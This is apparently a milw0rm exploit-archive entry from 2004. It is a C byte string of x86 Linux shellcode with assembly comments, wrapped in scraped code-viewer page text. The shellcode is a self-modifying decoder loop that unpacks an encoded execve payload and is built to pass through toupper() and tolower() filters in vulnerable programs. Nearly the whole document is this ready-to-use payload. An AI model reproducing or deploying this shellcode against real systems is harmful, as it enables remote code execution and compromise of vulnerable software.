38 lines
No EOL
2.1 KiB
C
38 lines
No EOL
2.1 KiB
C
/*-------------------------------------------------------*/
|
|
/* Radically Self Modifying Code for surviving */
|
|
/* toupper() and tolower() */
|
|
/* */
|
|
/* 70byte execve & _exit() code by XORt */
|
|
/*-------------------------------------------------------*/
|
|
"\xeb\x12" /* jmp $0x12 */
|
|
"\x5e" /* pop %esi */
|
|
/*-set-up-loop-counter-and-ajust-shellcode-pointer-------*/
|
|
"\x31\xc9" /* xor %ecx, %ecx */
|
|
"\xb1\x0b" /* mov $0xb, %cl */
|
|
"\xff\xc6" /* inc %esi */
|
|
/*-the-loop----------------------------------------------*/
|
|
"\x81\x06\x5b\x2d\xd0\xcb" /* addl $0xcbd02d5b, (%esi) */
|
|
"\xad" /* lodsl */
|
|
"\xe2\xf7" /* loop -$0x9 */
|
|
/*--jump-into-shellcode----------------------------------*/
|
|
"\xeb\x05" /* jmp $0x5 */
|
|
"\xe8\xe9\xff\xff\xff" /* call -$0x17 */
|
|
/*--------------------------------------------[bytes:25]-*/
|
|
// //
|
|
/*--the-shellcode----------------------------------------*/
|
|
"\xeb" /* --then encoded shellcode-- */
|
|
"\xc4\x30\xb9\xaa" /* */
|
|
"\xad\x03\xf0\xbc" /* */
|
|
"\xeb\xd9\xb8\x7a" /* */
|
|
"\xb1\x82\x3b\xbd" /* */
|
|
"\x98\x60\x7e\x3c" /* */
|
|
"\x32\x29\x3c\x01" /* */
|
|
"\x25\x04\x0b\xbe" /* */
|
|
"\x7d\x13\xfd\xb4" /* */
|
|
"\x8d\xaf\x2f\x34" /* */
|
|
"\xa4\x02\x92\x9d" /* */
|
|
"\x13\x02\xa3\x9c"; /* */
|
|
/*--------------------------------------------[bytes:45]-*/
|
|
|
|
|
|
// milw0rm.com [2004-12-22]
|